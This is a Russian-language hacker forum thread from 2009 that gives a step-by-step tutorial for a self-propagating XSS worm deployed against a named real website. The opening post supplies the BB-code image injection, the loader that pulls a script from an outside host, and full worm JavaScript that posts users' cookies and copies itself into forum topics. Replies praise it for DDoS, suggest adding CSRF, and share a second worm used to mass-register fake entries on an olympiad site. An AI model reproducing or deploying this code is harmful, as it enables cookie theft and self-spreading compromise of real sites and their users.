Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
xss червь на реальном примере |

02.05.2009, 12:03
|
|
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме: 1652093
Репутация:
490
|
|
xss червь на реальном примере
Вступление В данной статье будет описана история создания само распространяемого кода для web2.0 сайта...
Суть программных червей очень интересна. После единоразового запуска программы, она сама находит способ копироваться и запускаться снова, и снова. Но это не обязательно исполняемый файл, который сканирует сеть на наличие уязвимостей. В эпоху развития Интернета можно использовать WEB-сайты, на которых не достаточно хорошо реализована проверка данных, приходящих от пользователей.
Дальше будет рассмотрен пример для сайта www.bazika.net. Существенно облегчает распространение «вредоносного» кода по сайту тот факт, что на нём используются готовые Javascript библиотеки..
Показанные ниже действия были выполнены в качестве эксперимента, и не имели цель навредить сайту, или его пользователям.
Уязвимость Для того чтобы программный код начал распространение по сайту нужно найти способ внедрить его в браузер пользователя. На форуме была найдена возможность вставлять Javascript код в сообщение через BB тег IMG. Пример сообщения:
Код:
[іmg]javascript:alert('LOL')[/іmg]
В результате на страничке появится такой HTML код:
Код:
<img src="javascript:alert('LOL')" alt="javascript:alert('LOL')" />
Как видно, здесь вместо адреса картинки вставлен скрипт. В браузере Firefox будет выведен код Javascript вместо картинки, но в таких браузерах как Opera, IE сработает Javascript... Эта идея и будет отправной точкой распространения.
Достаточно будет создать сообщение с «вредоносным» кодом и все пользователи его просматривающие примут участие в распространении «червя» по сайту.
Ниже показан пример начального сообщения, загружающего в браузер скрипт с удалённого адреса:
Код:
[іmg]javascript:var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));
s.src='http://h3ck.rv.ua/b/o_O.php';document.body.appendChild(s);
void(0)[/іmg]
Метод распространения. Скрипт, загруженный с сайта будет создавать от имени пользователя новое сообщение на форуме, которое будет повторно в себя включать «вредоносный» код. Таким образом будет идти размножение «червя» по сайту. Дополнительно выполняется проверка выполнения скрипта, так как может быть создано несколько наших сообщений в одном топике. Выполнение происходит один раз.
Реализация на языке Javascript может быть такой:
Код HTML:
if (!isLoaded) {
// скрываем нашу картинку
for (var i=0; i<document.images.length; i++) {
if (document.images[**i].src.match(/^javascript:/)) {
document.images[**i].style.display = 'none';
}
}
// текст нового сообщения
var xss_body = document.cookie + "\n\n" +
"[img]javascript:var s=document.createElement(String.fromCharCod"+
"e(115,99,114,105,112,116));s.src='"+
"http://h3ck.rv.ua/b/o_O.php"+
"';document.body.appendChild(s);void(0)[/img]";
// id топика выбирается из списка горячих тем
var topics = [];
var regexp=/\/forum\/topic\/(\d+)/;
for (i=1; i<document.links.length; i++) {
if ((result = document.links[**i].href.match(regexp)) && document.links[**i].href.indexOf('#')==-1) {
topics.push(document.links[**i].href.match(regexp)[1]);
}
}
var topic_rand = topics[Math.round(Math.random()*topics.length)];
// создание нового сообщения.
$.post('/forum/do/',{action:"add_reply", text:xss_body, topic:topic_rand},
function(data){alert(data);},"json");
}
var isLoaded = 1;
звёздочки вставлены потому что парсер форума думает что это тег [*i]
Результат:
Заключение. После создания нескольких начальных сообщений на форуме, можно было увидеть как один за другим появляются сообщения от пользователей. Этот процесс мог бы продолжатся если бы через несколько часов не закрыли сайт на доработку.
В принципе, в подключаемом файле мог быть намного более злой код, который бы выполнялся при каждом просмотре сообщения.
Данная статья была написана для того чтобы показать насколько важно заботится о клиентской части безопасности сайта, особенно при использовании таких технологий как AJAX.
P.S. Как видите для того чтобы удачно эксплуатировать xss уязвимости (читай - получить cookies) не обязятельно использовать обычный подход с редиректом юзера на php сниффер. Для этого вполне можно использовать уязвимый сайт.
--------------------------
автор статьи: Goudini
кросс пост h3ck blog
|
|
|

02.05.2009, 13:37
|
|
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме: 5885100
Репутация:
773
|
|
для ддоса норм идея..+)
|
|
|

23.05.2009, 13:16
|
|
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме: 1652093
Репутация:
490
|
|
а поцчему только один коммент к статье
|
|
|

23.05.2009, 14:37
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
Провел на форуме: 6962560
Репутация:
536
|
|
Помниться кто-то продавал мега спамер по мейл агенту, который также использовал xss уязвимость мейла и рассылал сообщение всем контактам.. распространялся таким же образом..))
|
|
|

23.05.2009, 14:50
|
|
Постоянный
Регистрация: 21.12.2007
Сообщений: 475
Провел на форуме: 1270580
Репутация:
387
|
|
к таким червям хорошо прикручивать CSRF, не ограничиваясь одним форумом
|
|
|

26.05.2009, 21:57
|
|
Постоянный
Регистрация: 12.04.2008
Сообщений: 403
Провел на форуме: 4700216
Репутация:
261
|
|
гуд...жаль что такое с мубом не сделаешь
|
|
|

27.05.2009, 00:28
|
|
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме: 1331503
Репутация:
454
|
|
Классно...
А никто не знает что это придумал я =)
Еще в 2004 году я таким макаром один сайт олимпиады попускал.
(если что - админы подтвердят. Сомневаюсь, что они меня забыли  )
В регистрации форма пропускала хтмл код.
в одно из полей я фтыкнул ифрейм, который грузил страницу моего сайта на народе, где JS код генерировал рандомніе из списка ФИО и регистрировался на сайте, причемм одно из полей опять таки содержало фрейм.
Итого при просмотре списка участников происходила регистрация новых.
Каждая строка - номер просмотра - количество рег
0 1
1 2
2 4
3 6
4 10
...
Хотя после этого дела админы наконец то прикрыли xss, хотя до я им не раз порно картинки внедрял в таблицу
Код:
<form name="xf" action="http://www2.********/cgi-bin/v_olymp/i2004/members.py" method="POST"> <input type="hidden" name="first_name" value="fucker"> <input type="hidden" name="second_name" value="%3CIFRAME width=0 height=0 src=%22http://xaker_site.narod.ru/reg.htm%22%3E%3C/IFRAME%3Efucker"> <input type="hidden" name="country" value="Украина"> <input type="hidden" name="city" value="Киев"> <input type="hidden" name="school" value="СШ №7"> <input type="hidden" name="course" value="10"> <input type="hidden" name="email" value="vxredirect@mail333.com"> <input type="hidden" name="status" value="student"> <input type="hidden" name="language" value="ukr"> <input type="hidden" name="command" value="register"> </form> <script> function rand(num) { return Math.floor(Math.random() * num )+1; } s='xxxx'; s=rand(9)+''+rand(9)+''+rand(9)+''+rand(9); document.write(s+'<BR>'); names=new Array (30); names[00]= 'Дмитрий'; names[01]= 'Андрей'; names[02]= 'Николай'; names[03]= 'Евгений'; names[04]= 'Иван'; names[05]= 'Антон'; names[06]= 'Олег'; names[07]= 'Константин'; names[08]= 'Вова'; names[09]= 'Сергей'; names[10]='Виктор'; names[11]='Кирилл'; names[12]='Максим'; names[13]='Иосиф'; names[14]='Юрий'; names[15]='Иван'; names[16]='Роман'; names[17]='Александр'; names[18]='Алексей '; names[19]='Владимир'; names[20]='Илья'; names[21]='Богдан'; names[22]='Даниил'; names[23]='Виталий'; names[24]='Егор'; names[25]='Игорь'; names[26]='Ростислав'; names[27]='Артур'; names[28]='Вадим'; names[29]='Леонид'; names[30]='Павел'; surnames=new Array (30); surnames[00]= 'Петров'; surnames[01]= 'Петровский'; surnames[02]= 'Сидоров'; surnames[03]= 'Сидорчук'; surnames[04]= 'Иванов'; surnames[05]= 'Иваненко'; surnames[06]= 'Маенко'; surnames[07]= 'Еремеенко'; surnames[08]= 'Лацюк'; surnames[09]= 'Бузин'; surnames[10]= 'Литвинов'; surnames[11]= 'Тысливый'; surnames[12]= 'Кипелов'; surnames[13]= 'Короленко'; surnames[14]= 'Монкур'; surnames[15]= 'Федорчук'; surnames[16]= 'Кравченко'; surnames[17]= 'Тымчиков'; surnames[18]= 'Хмельничук'; surnames[19]= 'Костыренко'; surnames[20]= 'Ронин'; surnames[21]= 'Вавилов'; surnames[22]= 'Винничук'; surnames[23]= 'Благой'; surnames[24]= 'Гончаренко'; surnames[25]= 'Ефимов'; surnames[26]= 'Каиров'; surnames[27]= 'Смирнов'; surnames[28]= 'Ходаков'; surnames[29]= 'Орлов'; surnames[30]= 'Вовченко'; cities=new Array (21); cities[0]='Киев'; cities[1]='Чернигов'; cities[2]='Сумы'; cities[3]='Харьков'; cities[4]='Луганск'; cities[5]='Донецк'; cities[6]='Запорожье'; cities[7]='Днепропетровск'; cities[8]='Херсон'; cities[9]='Симферополь'; cities[9]='Николаев'; cities[10]='Одесса'; cities[11]='Кировоград'; cities[12]='Черкассы'; cities[13]='Житомир'; cities[14]='Хмельницкий'; cities[15]='Ровно'; cities[16]='Тернополь'; cities[17]='Черновцы'; cities[18]='Ивано-Франковск'; cities[19]='Львов'; cities[20]='Луцк'; cities[21]='Днепродзержинск'; courses=new Array (3); courses[1]='9'; courses[2]='10'; courses[3]='11'; schs=new Array (8); schs[1]='сш№'; schs[2]='СШ №'; schs[3]='сш №'; schs[4]='СООШ '; schs[5]='сш'; schs[6]='СШ '; schs[7]='Школа №'; schs[8]='Школа '; document.xf.first_name.value=names[rand(30)]; document.xf.second_name.value=surnames[rand(30)]; document.xf.city.value=cities[rand(21)]; document.xf.school.value=schs[rand(8)]+rand(88); document.xf.course.value=courses[rand(3)]; document.write(document.xf.first_name.value+'<BR>'); document.write(document.xf.second_name.value+'<BR>'); document.write(document.xf.country.value+'<BR>'); document.write(document.xf.city.value+'<BR>'); document.write(document.xf.school.value+'<BR>'); document.write(document.xf.course.value+'<BR>'); //id generation //document.forms[0].submit(); </script>
мда, были времена когда я еще не знал пхп и приходилось вот так извращаться...
Еще в тему оттуда же Флудер на Javascript
Последний раз редактировалось vvs777; 27.05.2009 в 00:41..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|